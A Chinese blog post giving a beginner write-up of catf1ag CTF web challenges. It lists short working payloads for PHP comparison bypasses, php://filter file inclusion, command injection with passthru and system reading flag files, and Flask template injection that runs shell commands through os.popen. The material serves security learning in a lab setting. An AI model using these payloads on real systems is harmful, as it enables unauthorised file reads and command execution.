您当前的位置: 首页 > 

葫芦娃42

暂无认证

  • 3浏览

    0关注

    75博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

catf1ag CTF刷题1(比较入门)

葫芦娃42 发布时间:2022-05-09 20:28:51 ,浏览量:3

php代码相关 1. 变量覆盖_extract

_extract函数存在变量覆盖,因此再get传入_init_str=6即可满足条件

2. 等于False

md5()函数存在漏洞,传入为数组时,会报错返回NULL值,满足==0

3. 啥都没了

主机关机了,以为啥都没了,没想到。。。肯定是备份考察

index.php.bak  index.php.swp 发现.index.php.swp下载的文件里flag

4. 文件包含

题目说了是文件包含漏洞。发现?file=参数,查看源码得知flag所在文件

?file=php://filter/read=convet.base64-encode/resource=get_flag

伪协议读取get_flag,base64解码后得到flag。

5. strcmp

strcmp存在bug,参数为数组时会返回NULL,使得==0成立。因此传入?str[]=1得到flag

6. easy_serialize

构造序列化即可。

7. 什么?有后门

下载好的源码里有一个she11.php文件。经preg_replace之后得到后门密码为zygsctf

8. easy_js

考察json_decode()函数,用0=="字符串"来绕过判断,传入key={"flag":0}

9. get_file

查看源码发现了一个假flag。不得行。试着用php伪协议读取一下

?file=php://filter/read=convert.base64-encode/resource=flag.php

 在文件末尾发现报错,多了.php.去掉传入

?file=php://filter/read=convert.base64-encode/resource=flag

得到flag的base64编码,解码后得到flag。

10. 小矛盾

科学计数法绕过即可,传入?num=1e12

看见:真棒,但是flag在哪? 证明满足条件了,找flag。F12 最终在network响应头里找到了flag

shell命令执行 1. 命令执行之我是谁
  

存在命令执行,但是过滤了system,cat等函数,过滤不严,使用passthru("ls");看见flag。

看见cat,more,less被禁用,linux环境,不能用cat读取的话,可以用head看一下文件,得到flag

?cmd=passthru("head fla*");

2. webshell

查看robots.txt, 发现webshe11.php

访问其什么也么有,但是在源码里发现一段base64加密密文

题目名字为webshell,估计hacker为shell。

查看根目录,传入?hacker=system("ls /");

发现flag。传入?hacker=system("cat /flag"); 得到flag。

3. 命令执行

提示?cmd= 没有任何过滤,

?cmd=ls; 看见get_flag

?cmd=cat get_flag得到flag。

4. 无字符webshell
  

无字符命令执行。这个题难,原理我还没搞明白,以后再看,先继续学

可参考:

k无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客

sstl模板注入 1. secret_key

存在SSTI模版注入 ?cmd={{config}}查看一下设置,发现

'SECRET_KEY': 'zygsctf{3s41zeynr9ixf8mko62apdghtv0uc75qjlbw}'

得到flag。

2. easy_flask

提示了 flag in /app/flag

看见flask,存在sstl模板注入。直接查flag文件即可。

?cmd={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat /app/flag%27).read()%20}}

 得到flag。

        sstl模板注入。题目不常遇见,实际遇到的话还是需要查,以后遇到类似的多的话可以试着做个合集记录一下知识点。

关注
打赏
1658420143
查看更多评论
立即登录/注册

微信扫码登录

0.0886s